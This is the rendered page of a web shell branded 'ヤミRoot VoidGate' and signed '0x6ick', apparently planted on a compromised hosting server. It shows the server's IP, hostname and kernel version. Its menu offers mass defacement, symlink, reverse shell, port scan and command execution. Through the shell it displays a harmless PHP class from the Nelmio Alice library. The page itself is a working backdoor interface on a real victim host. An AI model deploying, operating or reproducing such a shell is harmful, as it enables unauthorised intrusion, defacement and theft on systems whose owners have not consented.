ヤミRoot VoidGate
User / IP
:
216.73.216.49
Host / Server
:
146.88.233.70 / www.dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
logercm
/
dev.loger.cm
/
vendor
/
nelmio
/
alice
/
src
/
Definition
/
Value
/
Viewing: FixtureMatchReferenceValue.php
<?php /* * This file is part of the Alice package. * * (c) Nelmio <hello@nelm.io> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ declare(strict_types=1); namespace Nelmio\Alice\Definition\Value; use Nelmio\Alice\Definition\ValueInterface; /** * Value object a reference to a fixture e.g. "@user0" matching a pattern. For example "@user*" will result in a pattern * '~^user.*~' which can match "@user0", "@user_base" etc. */ final class FixtureMatchReferenceValue implements ValueInterface { /** * @var string */ private $pattern; public function __construct(string $pattern) { $this->pattern = $pattern; } /** * @param string $reference e.g. 'user' * * @return FixtureMatchReferenceValue reference with the pattern to match "@user*" */ public static function createWildcardReference(string $reference): self { return new self(sprintf('/^%s.*/', preg_quote($reference, '/'))); } public function match(string $value): bool { return 1 === preg_match($this->pattern, $value); } public function getValue(): string { return $this->pattern; } public function __toString(): string { return sprintf('@(regex: %s)', $this->pattern); } }
Coded With 💗 by
0x6ick